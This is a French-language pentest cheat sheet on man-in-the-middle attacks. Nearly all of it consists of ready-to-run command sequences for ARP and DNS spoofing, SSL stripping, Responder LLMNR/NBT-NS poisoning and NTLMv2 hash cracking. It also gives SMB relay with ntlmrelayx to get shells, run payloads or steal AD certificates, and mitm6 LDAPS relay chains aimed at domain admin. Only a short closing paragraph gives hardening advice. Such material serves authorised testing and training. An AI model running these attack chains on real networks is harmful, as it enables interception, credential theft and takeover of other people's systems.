Man-in-the-Middle — MITM
ARP spoofing, SSL stripping, Responder, SMB relay, mitm6, Bettercap — interception réseau
Principe MITM
Client trafic intercept Attaquant Serveur/Rseau
L'attaquant se positionne entre la victime et le réseau pour intercepter, lire ou modifier le trafic.
ARP Spoofing — Empoisonnement ARP
# Activer le forwarding IP (sinon le trafic est coupé)echo 1 > /proc/sys/net/ipv4/ip_forward# arpspoof (dsniff)arpspoof -i eth0 -t {{VICTIM_IP}} {{GATEWAY_IP}} # dire à la victime : "je suis le gateway"arpspoof -i eth0 -t {{GATEWAY_IP}} {{VICTIM_IP}} # dire au gateway : "je suis la victime"# Capturer le trafictcpdump -i eth0 -w capturepcap host {{VICTIM_IP}}# Vérifier que le MITM fonctionnearp -n # sur la victime : l'IP gateway doit pointer vers notre MAC
Bettercap — MITM moderne
# Lancer Bettercapbettercap -iface eth0# Dans la console interactive :netprobe on # découverte du réseaunetshow # lister les hôtes# ARP spoofingset arpspooftargets {{VICTIM_IP}}set arpspooffullduplex true # bidirectionnel (gateway + victime)arpspoof on# Capturer credentials en clairnetsniff onset netsniffverbose true# DNS spoofing (rediriger un domaine vers notre IP)set dnsspoofdomains {{TARGET_DOMAIN}}set dnsspoofaddress {{LHOST}}dnsspoof on# HTTPS via HSTS bypass (caplet)set httpsproxysslstrip truehttpsproxy on
SSL Stripping — Downgrade HTTPS → HTTP
# sslstrip (Python 2 — legacy)sslstrip -l 8080iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080# Bettercap — approche moderneset httpproxysslstrip truehttpproxy on# Limitation : HSTS (HTTP Strict Transport Security) protège contre le SSL strip# Contournement HSTS : sslstrip+ + DNS spoofing du sous-domaine# www.bank.com → wwww.bank.com (typosquatting) — pas couvert par HSTS preload
Responder — Empoisonnement LLMNR / NBT-NS / WPAD
# LLMNR (UDP 5355) et NBT-NS (UDP 137) : protocoles de résolution de noms Windows# Quand un nom n'est pas résolu par DNS, Windows broadcast en LLMNR/NBT-NS# Responder répond à ces requêtes et capture les hash NTLMv2responder -I eth0 -wrf# -w : WPAD rogue proxy# -r : répondre aux requêtes NBT-NS type NETBIOS# -f : fingerprinting# Les hash capturés apparaissent dans /usr/share/responder/logs/# Format : NTLMv2-SSP-{{VICTIM_IP}}.txt# Cracker les hash NTLMv2hashcat -m 5600 hashestxt /usr/share/wordlists/rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hashestxt# WPAD (Web Proxy Auto-Discovery) abuse# Windows cherche automatiquement un fichier wpad.dat sur le réseau# Responder sert un faux WPAD → capture les credentials proxy
SMB Relay — Relayer les credentials NTLM
# Prérequis : SMB signing désactivé sur les cibles# Vérifier SMB signing :nmap --script smb2-security-mode -p 445 {{TARGET_SUBNET}}crackmapexec smb {{TARGET_SUBNET}} --gen-relay-list targetstxt# Étape 1 : désactiver SMB et HTTP dans Responder (on capture mais on ne répond pas)# Modifier /etc/responder/Responder.conf :# SMB = Off# HTTP = Off# Étape 2 : lancer Responder (capture LLMNR/NBT-NS mais ne répond pas aux auth)responder -I eth0 -wf# Étape 3 : relayer vers les cibles avec ntlmrelayxntlmrelayxpy -tf targetstxt -smb2support# → Quand un utilisateur tente de s'authentifier, on relaie vers les cibles# → Si l'utilisateur est admin local sur la cible → on obtient un shell ou les hashes SAM# Options ntlmrelayx utiles :ntlmrelayxpy -tf targetstxt -smb2support -i # shell interactifntlmrelayxpy -tf targetstxt -smb2support -e shellexe # exécuter un payloadntlmrelayxpy -tf targetstxt -smb2support -c "whoami > C:\out.txt" # commandentlmrelayxpy -tf targetstxt -smb2support --dump-adcs # voler les certificats AD
mitm6 — MITM via IPv6
# Windows préfère IPv6 à IPv4 — mitm6 se fait passer pour le routeur IPv6# Combiné avec ntlmrelayx → voler des credentials ou créer des comptes AD# Étape 1 : mitm6 (annonce un faux routeur IPv6 + DNS)mitm6 -d {{TARGET_DOMAIN}}# Étape 2 : ntlmrelayx avec LDAPS (pour créer un compte machine ou déléguer)ntlmrelayxpy -6 -t ldaps//{{DC_IP}} -wh fakewpad{{TARGET_DOMAIN}}--add-computer ATTACK --delegate-access# Résultat : compte machine créé → RBCD attack possible# Ou récupérer les credentials via WPAD spoof# Vérification : les clients Windows vont recevoir une adresse IPv6 de mitm6# et utiliser notre machine comme DNS → on contrôle la résolution de noms
mitmproxy — Inspection HTTP/HTTPS
# Proxy transparent pour inspecter et modifier le trafic HTTP/HTTPS# Mode interactif (terminal)mitmproxy -p 8080# Mode automatique (dump)mitmdump -p 8080 -w trafficdump# Rediriger le trafic vers mitmproxy (iptables)iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080# Script Python pour modifier les réponses à la volée# mitmdump -s script.py# script.py :# def response(flow):# if "password" in flow.response.text:# print(flow.response.text)# Installer le certificat mitmproxy sur la victime# → ~/.mitmproxy/mitmproxy-ca-cert.pem
Ettercap — MITM GUI/CLI
# Mode CLI — ARP poisoning + sniffettercap -T -q -i eth0 -M arpremote {{VICTIM_IP}}// {{GATEWAY_IP}}//# Avec plugin DNS spoofing# Modifier /etc/ettercap/etter.dns : ajouter "{{TARGET_DOMAIN}} A {{LHOST}}"ettercap -T -q -i eth0 -M arpremote -P dns_spoof {{VICTIM_IP}}// {{GATEWAY_IP}}//
Scénarios combinés
LLMNR → Hash → Crack → Accès
1 responder -I eth0 -wrf2 Attendre qu'un utilisateur tente d'accder un partage inexistant3 Rcuprer le NTLMv2 hash4 hashcat -m 5600 mot de passe en clair5 crackmapexec smb {{TARGET_SUBNET}} -u {{USER}} -p {{PASSWORD}}
mitm6 → LDAP Relay → DA
1 mitm6 -d {{DOMAIN}}2 ntlmrelayx -6 -t ldaps//{{DC_IP}} --delegate-access3 Compte machine cr avec dlgation getSTpy accs DA
ARP Spoof → SSL Strip → Credentials
1 echo 1 > /proc/sys/net/ipv4/ip_forward2 bettercap arpspoof sslstrip netsniff3 Rcuprer credentials soumis sur des formulaires HTTP
LLMNR et NBT-NS poisoning fonctionnent par défaut dans tous les environnements Windows non durcis. Sur un réseau de production, quelques minutes de Responder suffisent souvent à capturer des dizaines de hash. Désactiver LLMNR via GPO (Computer > Administrative Templates > Network > DNS Client > Turn off multicast name resolution) est une des mesures de hardening les plus impactantes.
La combinaison mitm6 + ntlmrelayx vers LDAPS est souvent la technique la plus efficace en interne AD car elle ne nécessite aucun compte initial. Elle fonctionne tant que SMB signing n'est pas forcé et que IPv6 n'est pas désactivé.